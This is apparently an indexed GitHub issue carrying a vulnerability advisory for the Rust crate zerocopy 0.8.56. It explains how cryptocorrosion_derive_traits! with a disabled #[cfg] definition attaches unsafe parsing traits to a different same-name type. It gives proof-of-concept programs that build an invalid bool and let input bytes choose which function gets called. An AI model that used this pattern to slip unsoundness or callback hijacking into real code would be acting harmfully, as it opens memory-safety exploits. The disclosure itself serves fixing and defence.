google / google/zerocopy

Security Advisory: A disabled macro definition attaches unsafe parsing traits to a different type

Open
#3,616 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Rust
Stars
2.6k
Forks
179
Avg merge
1d 19h
Merged PRs (30d)
29

Description

*The following was reported by OpenAI via email:*

- **Vulnerability Type:** Safe API unsoundness / invalid-value construction / attacker-selected callback
- **Affected Software:** zerocopy (`cryptocorrosion_derive_traits!`)
- **Date:** September 2026
- **Discoverer:** OpenAI (OutboundDisclosures@openai.com)

## Summary

`cryptocorrosion_derive_traits!` applies item attributes such as `#[cfg(...)]` to the declared type, but leaves its generated unsafe trait implementations active. When that type definition is disabled and another type with the same name exists, those implementations resolve to the other type. The macro checks the disabled definition's field types rather than the actual type receiving the implementations.

A one-byte input can consequently produce an invalid Rust `bool` through safe `FromBytes::read_from_bytes`. A second demonstration gives a function-pointer wrapper the same incorrect parsing traits: serialized address bytes then select and invoke a harmless callback.

**Classification and threat model:** This is a security vulnerability conditional on the compiled application using configuration-selected, same-name types with this macro. After that build-time condition exists, an attacker needs only control of bytes passed to the safe parsing API to construct invalid values. The callback demonstration additionally supplies a known valid function address. It demonstrates control-flow influence, not an address-disclosure primitive, an ASLR bypass, or remote code execution.

**Affected version:** Reproduced using the published `zerocopy 0.8.56` crate. Its [release source](https://github.com/google/zerocopy/tree/6dc429c451bdf1d7202ec1ec2cf426514e00d8eb) contains the same affected code as audited revision `2dad389b030e9268d6645ac0bf0626b867e96068`, which the source references below use. Earlier releases have not been exhaustively tested.

**Environment:** macOS arm64 (`aarch64-apple-darwin`), Rust 1.98.1 for native tests and nightly-2026-09-04 (`rustc 1.100.0-nightly`, `a69a63265`) for Miri. Miri used normal validity checks and strict provenance.

## Sketch of the attack

An active `Packet(bool)` definition coexists with a disabled macro declaration named `Packet` whose field is a `u8`. The disabled declaration's `u8` satisfies the macro's checks. The emitted `FromBytes` implementation attaches to `Packet(bool)`, so byte `2` is treated as a valid boolean representation.

The same mistake can attach the parsing traits to `Packet(fn())`, allowing input bytes to supply a callable pointer.

## Full repro

Save this as `Cargo.toml`:

```toml
[package]
name = "zerocopy-disclosure-poc"
version = "0.1.0"
edition = "2024"

[workspace]

[dependencies]
zerocopy = { version = "=0.8.56", features = ["derive", "std", "simd"] }
# Pin the derive dependencies to the tested versions.
proc-macro2 = { version = "=1.0.80", default-features = false }
quote = { version = "=1.0.40", default-features = false }
syn = { version = "=2.0.56", default-features = false }
unicode-ident = { version = "=1.0.22", default-features = false }
```

### Invalid boolean from a safe parser

Save this as `src/bin/cfg_macro_bool.rs`:

```rust
#![forbid(unsafe_code)]

use zerocopy::FromBytes;

#[repr(transparent)]
struct Packet(bool);

zerocopy::cryptocorrosion_derive_traits! {
#[repr(C)]
#[cfg(any())]
struct Packet {
flag: u8,
}
}

fn main() {
let packet = Packet::read_from_bytes(&[2]).unwrap();
println!("{}", packet.0);
}
```

`cfg(any())` is always false and makes the configuration choice deterministic. Run:

```sh
cargo +stable generate-lockfile
MIRIFLAGS='-Zmiri-strict-provenance' \
cargo +nightly-2026-09-04 miri run --locked --bin cfg_macro_bool
```

Miri reports:

```text
error: Undefined Behavior: constructing invalid value of type zerocopy::Unalign: at .0.0, encountered 0x02, but expected a boolean
```

The error occurs in `Ref::read` at `zerocopy/src/ref.rs:769`, called by `FromBytes::read_from_bytes`. The caller contains no unsafe code.

### Input-selected callback

Save this as `src/bin/cfg_macro_callback.rs`:

```rust
#![forbid(unsafe_code)]

use std::sync::atomic::{AtomicBool, Ordering};
use zerocopy::FromBytes;

// An active representation with a field that must never come from raw bytes.
#[repr(transparent)]
struct Packet(fn());

// A disabled alternative representation. The macro still emits unsafe impls
// which bind to the active Packet above.
zerocopy::cryptocorrosion_derive_traits! {
#[repr(C)]
#[cfg(any())]
struct Packet {
address: usize,
}
}

static CALLED: AtomicBool = AtomicBool::new(false);

fn harmless_marker() {
CALLED.store(true, Ordering::Relaxed);
}

fn handle_message(attacker_bytes: &[u8]) {
let packet = Packet::read_from_bytes(attacker_bytes).unwrap();
(packet.0)();
}

fn main() {
// The simulated attacker knows a target function's address. In a remote
// setting this additionally requires an address disclosure or a fixed
// address; the demo obtains it directly so it is deterministic.
let address = harmless_marker as fn() as usize;
let attacker_bytes = std::hint::black_box(address.to_ne_bytes());
handle_message(&attacker_bytes);
assert!(CALLED.load(Ordering::Relaxed));
println!("attacker-provided bytes selected and invoked the harmless marker");
}
```

Run:

```sh
cargo +stable run --locked --release --bin cfg_macro_callback
```

Observed output:

```text
attacker-provided bytes selected and invoked the harmless marker
```

The proof of concept obtains its own marker function's address and sends that address through the simulated input. A remote attacker would need a usable target address from some additional condition. No shellcode or operating-system command is executed.

## Root cause

1. The [struct expansion](https://github.com/google/zerocopy/blob/2dad389b030e9268d6645ac0bf0626b867e96068/zerocopy/src/macros.rs#L1009-L1070) emits `$(#[$attr])*` only on the struct. Its `unsafe impl TryFromBytes`, `FromZeros`, and `FromBytes` blocks are separate, unconditional items.
2. Their field bounds come from the tokens inside the macro invocation. Once `cfg` removes the struct, the bare type name in each implementation can resolve to a different active definition. Its actual fields need not satisfy the generated safety argument.
3. The [union expansion](https://github.com/google/zerocopy/blob/2dad389b030e9268d6645ac0bf0626b867e96068/zerocopy/src/macros.rs#L1166-L1175) uses the same attribute-placement pattern. The demonstrated invalid boolean and callback both use the struct arm.

Configuration gating must keep the type definition and every generated implementation together. The macro must not permit an implementation to bind to a different same-name item after conditional compilation.

## Disclaimer

This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.

OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.

Contributor guide

Open the contributing guide

Research direction

Read the struct and union expansions in zerocopy/src/macros.rs, especially the cited lines around 1009-1070 and 1166-1175, then reproduce the cfg_macro_bool and cfg_macro_callback examples with the specified commands. The fix is complete when configuration attributes keep each generated implementation with its type, including the union arm, and the reproductions no longer permit invalid values or attacker-selected callbacks.

Written by the indexing model from the issue text.

Assessment

Tech stack
rust
Domain
compilers, security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Active
Clarity
Mostly clear
Newbie friendliness
45/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.